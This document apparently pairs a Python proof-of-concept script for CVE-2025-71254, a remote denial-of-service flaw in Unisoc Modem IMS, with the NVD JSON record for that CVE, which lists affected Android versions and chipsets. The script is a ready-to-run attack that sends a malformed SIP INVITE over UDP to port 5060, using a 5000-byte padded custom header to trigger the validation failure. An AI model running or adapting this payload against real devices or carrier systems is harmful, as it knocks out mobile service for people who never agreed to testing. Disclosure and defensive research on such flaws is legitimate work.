CVE-2025-71254

import socket # CVE-2025-71254 PoC Concept # This PoC demonstrates a potential trigger for the DoS vulnerability in Modem IMS. # Target environment details are abstracted. def send_malformed_ims_packet(target_ip, target_port): # Constructing a malformed SIP/IMS packet # This payload simulates improper input validation logic header = b"INVITE sip:[email protected] SIP/2.0\r\n" header += b"Via: SIP/2.0/UDP attacker.local;branch=z9hG4bK\r\n" header += b"Max-Forwards: 70\r\n" header += b"To: <sip:[email protected]>\r\n" header += b"From: <sip:attacker@local>;tag=1928301774\r\n" header += b"Call-ID: [email protected]\r\n" header += b"CSeq: 314159 INVITE\r\n" # Injecting unexpected input to trigger validation failure malformed_payload = b"X-Custom-Header: " + b"A" * 5000 + b"\r\n" header += malformed_payload header += b"Content-Length: 0\r\n\r\n" try: print(f"[*] Sending payload to {target_ip}:{target_port}...") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(header, (target_ip, target_port)) print("[+] Payload sent successfully.") except Exception as e: print(f"[-] An error occurred: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.100" TARGET_PORT = 5060 # Default SIP port send_malformed_ims_packet(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2025-71254", "sourceIdentifier": "[email protected]", "published": "2026-05-06T02:16:04.983", "lastModified": "2026-05-11T15:10:36.980", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem IMS, there is a possible improper input validation. This could lead to remote denial of service with no additional execution privileges needed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:sc7731e:-:*:*:*:*:*:*:*", "matchCriteriaId": "AC867249-B767-4802-868D-6D0E356C8294"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:sc9832e:-:*:*:*:*:*:*:*", "matchCriteriaId": "25BBD3C5-E87C-4730-970C-19DF855AC3A2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:sc9863a:-:*:*:*:*:*:*:*", "matchCriteriaId": "DE00DFDE-97DD-4D33-B580-73FEF677C71B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t310:-:*:*:*:*:*:*:*", "matchCriteriaId": "F20E00D8-2F00-4FA3-9455-37DC89908D96"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t610:-:*:*:*:*:*:*:*", "matchCriteriaId": "CDC980D6-B797-4AE1-B553-35395AE80D07"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t618:-:*:*:*:*:*:*:*", "matchCriteriaId": "39002ECE-636A-4FEB-9A0B-8127E8AAC844"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t7200:-:*:*:*:*:*:*:*", "matchCriteriaId": "814A8ADD-9AFB-43AD-A341-E6475F4150ED"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t7225:-:*:*:*:*:*:*:*", "matchCriteriaId": "02739649-98EC-45CC-8CF4-404A55FAE398"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t7250:-:*:*:*:*:*:*:*", "matchCriteriaId": "855F9E13-B4E4-4E74-85C2-F6F9EF4DA916"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t7255:-:*:*:*:*:*:*:*", "matchCriteriaId": "E51D591C-58C5-4F75-B631-58275E3F5776"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t7280:-:*:*:*:*:*:*:*", "matchCriteriaId": "1B0FDCBD-BC38-4C7E-94ED-29F5EA852F39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t7300:-:*:*:*:*:*:*:*", "matchCriteriaId": "04D97A60-C848-4948-A84D-80332B1D5BBA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8100:-:*:*:*:*:*:*:*", "matchCriteriaId": "F2DA04F2-5351-4043-A330-5397E627A222"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8200:-:*:*:*:*:*:*:*", "matchCriteriaId": "FC033D2C-ED1A-4EAB-A77B-8E1C88C74B0A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t8300:-:*:*:*:*:*:*:*", "matchCriteriaId": "DC7743D5-B187-48D4-BC77-D8DCDF263166"}, {"vulnerable": false, "criteria": "cpe:2.3:h:unisoc:t9100:-:*:*:*:*:*:*:*", "matchCriteriaId": "9D1F3B9D-142F-4E70-8477-E26D921EF19A"}]}]}], "references": [{"url": "https://www.unisoc.com/en/support/product-security-bulletin/2051836844671422466", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}